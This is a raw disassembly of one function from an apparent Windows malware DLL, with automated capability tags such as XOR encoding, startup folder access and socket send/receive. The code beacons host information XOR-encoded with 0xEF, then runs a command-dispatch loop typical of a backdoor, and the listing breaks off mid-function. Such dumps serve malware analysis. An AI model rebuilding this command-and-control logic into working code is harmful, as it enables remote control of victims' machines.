Function at 0x180010260
Capabilities:
Encode data using xor
Get common file path
Get startup folder
Receive data
Receive data on socket
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x16b0
call fcn.180047250
sub rsp, rax
mov qword [rsp + 0x100], 0xfffffffffffffffe
mov qword [rsp + 0x16e8], rbx
mov qword [rsp + 0x16f0], rbp
mov qword [rsp + 0x16f8], rsi
mov rax, qword [0x180065480]
xor rax, rsp
mov qword [rsp + 0x16a0], rax
mov r14, rcx
mov qword [rsp + 0x88], rcx
xor r15d, r15d
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x70], r15d
mov byte [rsp + 0x6a0], r15b
xor edx, edx
mov r8d, 0x7ff
lea rcx, [rsp + 0x6a1]
call fcn.18002de40
mov byte [rsp + 0x12a0], r15b
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rsp + 0x12a1]
call fcn.18002de40
call fcn.180019554
mov rdx, rax
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
jne 0x180010322
mov ecx, 0x80004005
call fcn.180002660
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
lea rsi, [rax + 0x18]
mov qword [rsp + 0x50], rsi
call fcn.180019554
mov rdx, rax
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
jne 0x180010354
mov ecx, 0x80004005
call fcn.180002660
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x48], rbx
call fcn.180019554
mov rdx, rax
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
jne 0x180010386
mov ecx, 0x80004005
call fcn.180002660
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x68], rax
call fcn.180019554
mov rdx, rax
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
jne 0x1800103b8
mov ecx, 0x80004005
call fcn.180002660
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
call fcn.180019554
mov rdx, rax
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
jne 0x1800103ea
mov ecx, 0x80004005
call fcn.180002660
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
call fcn.180019554
mov rdx, rax
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
jne 0x18001041c
mov ecx, 0x80004005
call fcn.180002660
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
lea r12, [rax + 0x18]
mov qword [rsp + 0x58], r12
call fcn.180019554
mov rdx, rax
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
jne 0x18001044e
mov ecx, 0x80004005
call fcn.180002660
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
lea rbp, [rax + 0x18]
mov qword [rsp + 0x78], rbp
mov word [rsp + 0x90], r15w
xor eax, eax
mov qword [rsp + 0x92], rax
mov dword [rsp + 0x9a], eax
mov word [rsp + 0x9e], ax
mov byte [rsp + 0xea0], al
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rsp + 0xea1]
call fcn.18002de40
mov byte [rsp + 0x520], 0
xor edx, edx
lea r8d, [rdx + 0x7f]
lea rcx, [rsp + 0x521]
call fcn.18002de40
mov byte [rsp + 0x5a0], 0
xor edx, edx
mov r8d, 0xff
lea rcx, [rsp + 0x5a1]
call fcn.18002de40
xor r9d, r9d
lea r8d, [r9 + 0x1a]
lea rdx, [rsp + 0x5a0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor eax, eax
or r13, 0xffffffffffffffff
mov rcx, r13
lea rdi, [rsp + 0x5a0]
repne scasb al, byte [rdi]
not rcx
lea rax, [rsp + 0x5a0]
cmp byte [rcx + rax - 2], 0x5c
jne 0x180010537
lea r9, str.DFA5F2F76A2B4EC84D
lea r8, [rsp + 0x5a0]
lea rdx, [0x180054158]
lea rcx, [rsp + 0xea0]
call fcn.18002c690
jmp 0x18001055a
lea r9, str.DFA5F2F76A2B4EC84D
lea r8, [rsp + 0x5a0]
lea rdx, [0x180054160]
lea rcx, [rsp + 0xea0]
call fcn.18002c690
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, [rsp + 0xea0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
lea r9, [rsp + 0xf8]
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xf0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x18001063f
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx edx, word [rsp + 0x9c]
movzx eax, word [rsp + 0x9a]
movzx ecx, word [rsp + 0x98]
movzx edi, word [rsp + 0x96]
movzx r9d, word [rsp + 0x92]
movzx r8d, word [rsp + 0x90]
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], edi
lea rdx, str._04d__02d__02d__02d:_02d:_02d
lea rcx, [rsp + 0x520]
call fcn.18002c690
jmp 0x18001065c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.NO_DATA
lea rcx, [rsp + 0x520]
call fcn.18002c690
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0xea0]
call fcn.18002de40
xor edx, edx
mov r8d, 0x408
lea rcx, [rsp + 0x110]
call fcn.18002de40
mov dword [rsp + 0x110], 0x90
lea rax, [rsp + 0x520]
mov qword [rsp + 0x20], rax
lea r9, str.x64_727
mov r8d, dword [0x18006bcc8]
lea rdx, str._d__s_s
lea rcx, [rsp + 0xea0]
call fcn.18002c690
xor eax, eax
mov rcx, r13
lea rdi, [rsp + 0xea0]
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx - 1]
mov edx, r15d
cmp byte [rsp + 0xea0], al
je 0x1800106fa
lea rax, [rsp + 0xea0]
nop word [rax + rax]
inc edx
inc rax
cmp byte [rax], 0
jne 0x1800106f0
mov rax, r15
movsxd rcx, edx
test edx, edx
jle 0x180010720
nop word [rax + rax]
xor byte [rsp + rax + 0xea0], 0xef
inc rax
cmp rax, rcx
jl 0x180010710
mov r9d, 0x400
lea r8, [rsp + 0x118]
mov edx, edi
lea rcx, [rsp + 0xea0]
call fcn.180007020
xor eax, eax
mov rcx, r13
lea rdi, [rsp + 0x118]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov dword [rsp + 0x114], ecx
mov rcx, r13
lea rdi, [rsp + 0x118]
repne scasb al, byte [rdi]
not rcx
xor r9d, r9d
lea r8d, [rcx + 7]
lea rdx, [rsp + 0x110]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x70], r15d
lea rcx, [rsp + 0x6a0]
lea r15, [0x180000000]
mov rax, qword [r15 + 0x56aa0]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56aa8]
mov qword [rcx + 8], rax
mov eax, dword [r15 + 0x56ab0]
mov dword [rcx + 0x10], eax
movzx eax, byte [r15 + 0x56ab4]
mov byte [rcx + 0x14], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
lea rax, [rsp + 0x6a0]
mov rcx, qword [r15 + 0x56ab8]
mov qword [rax], rcx
mov rcx, qword [r15 + 0x56ac0]
mov qword [rax + 8], rcx
mov ecx, dword [r15 + 0x56ac8]
mov dword [rax + 0x10], ecx
movzx ecx, byte [r15 + 0x56acc]
mov byte [rax + 0x14], cl
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
cmp edi, 4
jne 0x180012832
nop dword [rax + rax]
mov edx, dword [rsp + 0x70]
cmp edx, 0x10
je 0x180010862
cmp edx, 0x20
je 0x180010862
cmp edx, 0x30
je 0x180010862
cmp edx, 0x50
je 0x180010862
cmp edx, 0x60
je 0x180010862
cmp edx, 0x70
je 0x1800127dd
cmp edx, 0x80
jne 0x180011500
cmp edx, 0x70
je 0x1800127dd
cmp edx, 0x60
jne 0x1800108b9
lea rcx, [rsp + 0x6a0]
mov rax, qword [r15 + 0x56b60]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56b68]
mov qword [rcx + 8], rax
mov eax, dword [r15 + 0x56b70]
mov dword [rcx + 0x10], eax
movzx eax, byte [r15 + 0x56b74]
mov byte [rcx + 0x14], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
call fcn.18000fee0
jmp 0x180011455
cmp edx, 0x50
jne 0x180010907
lea rcx, [rsp + 0x6a0]
mov rax, qword [r15 + 0x56b78]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56b80]
mov qword [rcx + 8], rax
mov eax, dword [r15 + 0x56b88]
mov dword [rcx + 0x10], eax
movzx eax, byte [r15 + 0x56b8c]
mov byte [rcx + 0x14], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
call fcn.180010150
jmp 0x180011455
cmp edx, 0x80
jne 0x180010949
lea rcx, [rsp + 0x6a0]
mov rax, qword [r15 + 0x56b90]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56b98]
mov qword [rcx + 8], rax
movzx eax, byte [r15 + 0x56ba0]
mov byte [rcx + 0x10], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
jmp 0x180011455
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x80]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
mov edx, eax
cmp eax, 4
jne 0x18001267e
mov r15d, dword [rsp + 0x80]
cmp r15d, 0x400
jge 0x180012520
test r15d, r15d
jle 0x180012520
lea rdi, [rsp + 0x12a0]
mov qword [rsp + 0xa8], rdi
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x12a0]
call fcn.18002de40
nop
xor r9d, r9d
mov r8d, r15d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
movsxd r14, eax
cmp r14d, 1
jl 0x1800123c4
cmp r14d, r15d
jg 0x180012258
cmp r14d, r15d
je 0x180010a9b
lea rdx, [rsp + 0x6a0]
lea rdi, [0x180000000]
mov rcx, qword [rdi + 0x56cb0]
mov qword [rdx], rcx
mov rax, qword [rdi + 0x56cb8]
mov qword [rdx + 8], rax
mov rax, qword [rdi + 0x56cc0]
mov qword [rdx + 0x10], rax
mov rax, qword [rdi + 0x56cc8]
mov qword [rdx + 0x18], rax
mov rax, qword [rdi + 0x56cd0]
mov qword [rdx + 0x20], rax
mov rax, qword [rdi + 0x56cd8]
mov qword [rdx + 0x28], rax
mov rax, qword [rdi + 0x56ce0]
mov qword [rdx + 0x30], rax
mov rax, qword [rdi + 0x56ce8]
mov qword [rdx + 0x38], rax
mov rax, qword [rdi + 0x56cf0]
mov qword [rdx + 0x40], rax
movzx eax, byte [rdi + 0x56cf8]
mov byte [rdx + 0x48], al
mov edi, r15d
sub edi, r14d
mov r9d, edi
mov r8d, r15d
mov edx, r14d
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
mov r15d, edi
mov rdi, qword [rsp + 0xa8]
add rdi, r14
mov qword [rsp + 0xa8], rdi
mov r14, qword [rsp + 0x88]
jmp 0x1800109b0
mov edx, dword [rsp + 0x70]
cmp edx, 0x10
jne 0x180010b17
mov edx, dword [rsp + 0x80]
cmp edx, 4
jne 0x180011655
mov edi, dword [rsp + 0x12a0]
lea rcx, [rsp + 0x6a0]
lea r15, [0x180000000]
mov rax, qword [r15 + 0x56d38]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56d40]
mov qword [rcx + 8], rax
mov rax, qword [r15 + 0x56d48]
mov qword [rcx + 0x10], rax
movzx eax, byte [r15 + 0x56d50]
mov byte [rcx + 0x18], al
mov edx, edi
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
mov dword [0x18006bce0], edi
mov r14, qword [rsp + 0x88]
jmp 0x180011455
cmp edx, 0x20
jne 0x180010fff
xor eax, eax
mov rcx, r13
lea rdi, [rsp + 0x12a0]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x180011bcd
mov rcx, r13
lea rdi, [rsp + 0x12a0]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rdi, rcx
test ecx, ecx
jne 0x180010bae
lea rdx, [rbx - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], eax
je 0x180010c2d
cmp dword [rdx + 0x10], eax
jge 0x180010b7e
cmp dword [rbx - 0xc], eax
jl 0x1800117a5
mov dword [rbx - 0x10], eax
mov byte [rbx], al
jmp 0x180010c2d
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180010b95
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x48], rbx
mov rbp, qword [rsp + 0x78]
jmp 0x180010c2d
mov esi, dword [rbx - 0x10]
lea r12, [rsp + 0x12a0]
sub r12, rbx
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edi
or eax, ecx
jge 0x180010bde
mov edx, edi
lea rcx, [rsp + 0x48]
call fcn.180016560
mov rbx, qword [rsp + 0x48]
cmp r12, rsi
ja 0x180010bfb
movsxd rsi, edi
lea r8, [rbx + r12]
movsxd rdx, dword [rbx - 0xc]
mov r9, rsi
mov rcx, rbx
call fcn.18002bd20
jmp 0x180010c15
movsxd rsi, edi
movsxd rdx, dword [rbx - 0xc]
mov r9, rsi
lea r8, [rsp + 0x12a0]
mov rcx, rbx
call fcn.18002c59c
test edi, edi
js 0x180011bc2
cmp edi, dword [rbx - 0xc]
jg 0x180011bc2
mov dword [rbx - 0x10], edi
mov byte [rsi + rbx], 0
cmp dword [rbx - 0x10], 0
jl 0x180011a75
lea rdx, [0x180056d84]
mov rcx, rbx
call fcn.18002d308
mov rsi, rax
test rax, rax
je 0x180011a75
sub esi, ebx
cmp esi, 0xffffffff
je 0x180011a75
mov r8d, esi
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x48]
call fcn.180015de0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rdi, qword [rsp + 0x60]
add rdi, 0xffffffffffffffe8
cmp rcx, rdi
je 0x180010cd2
cmp dword [rdi + 0x10], 0
jl 0x180010cc3
mov rax, qword [rdi]
cmp qword [rcx], rax
jne 0x180010cc3
call fcn.1800165c0
mov rbx, rax
mov ecx, r13d
lock xadd dword [rdi + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x180010cb8
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rbx + 0x18]
mov qword [rsp + 0x60], rax
jmp 0x180010cd2
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x60]
call fcn.180016470
nop
mov rdx, qword [rsp + 0xc8]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180010cf5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea r8d, [rsi + 1]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x48]
call fcn.180015ce0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rdi, qword [rsp + 0x40]
add rdi, 0xffffffffffffffe8
cmp rcx, rdi
je 0x180010d6b
cmp dword [rdi + 0x10], 0
jl 0x180010d5c
mov rax, qword [rdi]
cmp qword [rcx], rax
jne 0x180010d5c
call fcn.1800165c0
mov rbx, rax
mov ecx, r13d
lock xadd dword [rdi + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x180010d51
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rbx + 0x18]
mov qword [rsp + 0x40], rax
jmp 0x180010d6b
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x40]
call fcn.180016470
nop
mov rdx, qword [rsp + 0xb8]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180010d8e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdi, qword [rsp + 0x40]
cmp dword [rdi - 0x10], 0
jl 0x180011923
lea rdx, [0x180056db4]
mov rcx, rdi
call fcn.18002d308
mov rbx, rax
test rax, rax
je 0x180011923
sub ebx, edi
cmp ebx, 0xffffffff
je 0x180011923
mov r8d, ebx
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x40]
call fcn.180015de0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rdi, qword [rsp + 0x68]
add rdi, 0xffffffffffffffe8
cmp rcx, rdi
je 0x180010e38
cmp dword [rdi + 0x10], 0
jl 0x180010e29
mov rax, qword [rdi]
cmp qword [rcx], rax
jne 0x180010e29
call fcn.1800165c0
mov rsi, rax
mov ecx, r13d
lock xadd dword [rdi + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x180010e1e
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x68], rax
jmp 0x180010e38
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x68]
call fcn.180016470
nop
mov rdx, qword [rsp + 0xe8]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180010e5b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea r8d, [rbx + 1]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x40]
call fcn.180015ce0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
mov rdi, qword [rsp + 0x40]
add rdi, 0xffffffffffffffe8
cmp rcx, rdi
je 0x180010ed1
cmp dword [rdi + 0x10], 0
jl 0x180010ec2
mov rax, qword [rdi]
cmp qword [rcx], rax
jne 0x180010ec2
call fcn.1800165c0
mov rbx, rax
mov ecx, r13d
lock xadd dword [rdi + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x180010eb7
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rbx + 0x18]
mov qword [rsp + 0x40], rax
jmp 0x180010ed1
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x40]
call fcn.180016470
nop
mov rdx, qword [rsp + 0xd8]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180010ef4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rsp + 0x60]
cmp dword [rdx - 0x10], 0xe
jg 0x1800117b0
mov rbx, qword [rsp + 0x68]
cmp dword [rbx - 0x10], 0xe
jg 0x1800117b0
mov rdi, qword [rsp + 0x40]
cmp dword [rdi - 0x10], 0xe
jg 0x1800117b0
xor eax, eax
mov qword [0x18006bce8], rax
mov qword [0x18006bcf0], rax
mov qword [0x18006bcf8], rax
mov qword [0x18006bd00], rax
mov qword [0x18006bd08], rax
mov qword [0x18006bd10], rax
lea rcx, [0x18006bd08]
call fcn.18002c690
mov rdx, rbx
lea rcx, [0x18006bce8]
call fcn.18002c690
mov rdx, rdi
lea rcx, [0x18006bcf8]
call fcn.18002c690
lea rdx, [rsp + 0x6a0]
lea r15, [0x180000000]
mov rax, qword [r15 + 0x56e08]
mov qword [rdx], rax
mov rax, qword [r15 + 0x56e10]
mov qword [rdx + 8], rax
mov rax, qword [r15 + 0x56e18]
mov qword [rdx + 0x10], rax
mov rax, qword [r15 + 0x56e20]
mov qword [rdx + 0x18], rax
movzx eax, byte [r15 + 0x56e28]
mov byte [rdx + 0x20], al
lea r9, [0x18006bcf8]
lea r8, [0x18006bce8]
lea rdx, [0x18006bd08]
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov r12, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x78]
mov r14, qword [rsp + 0x88]
jmp 0x180011455
cmp edx, 0x30
jne 0x180012002
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0xea0]
call fcn.18002de40
xor eax, eax
mov rcx, r13
lea rdi, [rsp + 0x12a0]
repne scasb al, byte [rdi]
not rcx
lea r15, [rcx - 1]
xor r8d, r8d
mov ebx, r8d
mov ecx, r8d
mov eax, r15d
cdq
and edx, 3
add eax, edx
and eax, 3
cmp eax, edx
jne 0x1800110a5
test r15d, r15d
je 0x1800110a5
lea rdi, [rsp + 0x12a3]
nop dword [rax]
lea r14d, [rcx + 3]
cmp r14d, 0x400
jg 0x1800110a2
movsxd rax, ecx
lea rdx, [rsp + rax + 0xea0]
movsxd rax, ebx
lea rcx, [rsp + rax + 0x12a0]
call fcn.180007260
cmp byte [rdi - 1], 0x3d
je 0x1800110a2
cmp byte [rdi], 0x3d
je 0x1800110a2
mov ecx, r14d
add ebx, 4
add rdi, 4
cmp ebx, r15d
jne 0x180011060
xor r8d, r8d
mov ecx, r8d
cmp byte [rsp + 0xea0], 0
je 0x1800110ca
lea rax, [rsp + 0xea0]
nop word [rax + rax]
inc ecx
inc rax
cmp byte [rax], 0
jne 0x1800110c0
mov rax, r8
movsxd rdx, ecx
test ecx, ecx
jle 0x1800110f0
nop word [rax + rax]
xor byte [rsp + rax + 0xea0], 0xef
inc rax
cmp rax, rdx
jl 0x1800110e0
xor eax, eax
mov rcx, r13
lea rdi, [rsp + 0xea0]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rdi, rcx
test ecx, ecx
jne 0x18001116a
lea rdx, [rsi - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], eax
je 0x1800111e9
cmp dword [rdx + 0x10], eax
jge 0x180011135
cmp dword [rsi - 0xc], eax
jl 0x180011d28
mov dword [rsi - 0x10], r8d
mov byte [rsi], al
jmp 0x1800111e9
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18001114c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
lea rsi, [rax + 0x18]
mov qword [rsp + 0x50], rsi
mov r12, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x78]
jmp 0x1800111e9
mov ebx, dword [rsi - 0x10]
lea r14, [rsp + 0xea0]
sub r14, rsi
mov ecx, 1
sub ecx, dword [rsi - 8]
mov eax, dword [rsi - 0xc]
sub eax, edi
or eax, ecx
jge 0x18001119a
mov edx, edi
lea rcx, [rsp + 0x50]
call fcn.180016560
mov rsi, qword [rsp + 0x50]
cmp r14, rbx
ja 0x1800111b7
movsxd rbx, edi
lea r8, [r14 + rsi]
movsxd rdx, dword [rsi - 0xc]
mov r9, rbx
mov rcx, rsi
call fcn.18002bd20
jmp 0x1800111d1
movsxd rbx, edi
movsxd rdx, dword [rsi - 0xc]
mov r9, rbx
lea r8, [rsp + 0xea0]
mov rcx, rsi
call fcn.18002c59c
test edi, edi
js 0x180011ff7
cmp edi, dword [rsi - 0xc]
jg 0x180011ff7
mov dword [rsi - 0x10], edi
mov byte [rbx + rsi], 0
cmp dword [rsi - 0x10], 0
jl 0x180011ea1
lea rdx, [0x180056e2c]
mov rcx, rsi
call fcn.18002d308
mov rdi, rax
test rax, rax
je 0x180011ea1
sub edi, esi
cmp edi, 0xffffffff
je 0x180011ea1
mov r8d, edi
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x50]
call fcn.180015de0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
add r12, 0xffffffffffffffe8
cmp rcx, r12
je 0x18001128f
cmp dword [r12 + 0x10], 0
jl 0x180011280
mov rax, qword [r12]
cmp qword [rcx], rax
jne 0x180011280
call fcn.1800165c0
mov rbx, rax
mov ecx, r13d
lock xadd dword [r12 + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x180011275
mov rcx, qword [r12]
mov rax, qword [rcx]
mov rdx, r12
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rbx + 0x18]
mov qword [rsp + 0x58], rax
jmp 0x18001128f
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x58]
call fcn.180016470
nop
mov rdx, qword [rsp + 0xc0]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800112b2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea r8d, [rdi + 1]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x50]
call fcn.180015ce0
nop
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.180016270
nop
mov rdx, qword [rsp + 0xd0]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800112fa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r12, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x78]
cmp dword [r12 - 0x10], 0x3e
jg 0x180011d33
cmp dword [rbp - 0x10], 0x3e
jg 0x180011d33
lea rdx, str.over
mov rcx, r12
call fcn.18002cffc
test eax, eax
je 0x1800113f8
lea rdx, str.over
mov rcx, rbp
call fcn.18002cffc
test eax, eax
je 0x1800113f8
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xb0], rax
lea rcx, [rbp - 0x18]
call fcn.1800165c0
add rax, 0x18
mov qword [rsp + 0xa0], rax
lea rcx, [r12 - 0x18]
call fcn.1800165c0
add rax, 0x18
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0xb0]
call fcn.180006ea0
lea rdx, [rsp + 0x6a0]
lea r15, [0x180000000]
mov rax, qword [r15 + 0x56ec8]
mov qword [rdx], rax
mov rax, qword [r15 + 0x56ed0]
mov qword [rdx + 8], rax
mov eax, dword [r15 + 0x56ed8]
mov dword [rdx + 0x10], eax
movzx eax, byte [r15 + 0x56edc]
mov byte [rdx + 0x14], al
mov r8, rbp
mov rdx, r12
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov r14, qword [rsp + 0x88]
jmp 0x180011455
lea rcx, [rsp + 0x6a0]
lea r15, [0x180000000]
mov rax, qword [r15 + 0x56eb0]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56eb8]
mov qword [rcx + 8], rax
mov eax, dword [r15 + 0x56ec0]
mov dword [rcx + 0x10], eax
movzx eax, byte [r15 + 0x56ec4]
mov byte [rcx + 0x14], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
call fcn.180002db0
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov r14, qword [rsp + 0x88]
mov dword [rsp + 0x70], 0
lea rcx, [rsp + 0x6a0]
mov rax, qword [r15 + 0x56aa0]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56aa8]
mov qword [rcx + 8], rax
mov eax, dword [r15 + 0x56ab0]
mov dword [rcx + 0x10], eax
movzx eax, byte [r15 + 0x56ab4]
mov byte [rcx + 0x14], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
lea rcx, [rsp + 0x6a0]
mov rax, qword [r15 + 0x56ab8]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56ac0]
mov qword [rcx + 8], rax
mov eax, dword [r15 + 0x56ac8]
mov dword [rcx + 0x10], eax
movzx eax, byte [r15 + 0x56acc]
mov byte [rcx + 0x14], al
lea rcx, [rsp + 0x6a0]
call fcn.1800044f0
cmp edi, 4
jne 0x180012832
jmp 0x180010830
lea rcx, [rsp + 0x6a0]
mov rax, qword [r15 + 0x56b08]
mov qword [rcx], rax
mov rax, qword [r15 + 0x56b10]
mov qword [rcx + 8], rax
mov rax, qword [r15 + 0x56b18]
mov qword [rcx + 0x10], rax
mov rax, qword [r15 + 0x56b20]
mov qword [rcx + 0x18], rax
mov rax, qword [r15 + 0x56b28]
mov qword [rcx + 0x20], rax
mov rax, qword [r15 + 0x56b30]
mov qword [rcx + 0x28], rax
mov rax, qword [r15 + 0x56b38]
mov qword [rcx + 0x30], rax
movzx eax, byte [r15 + 0x56b40]
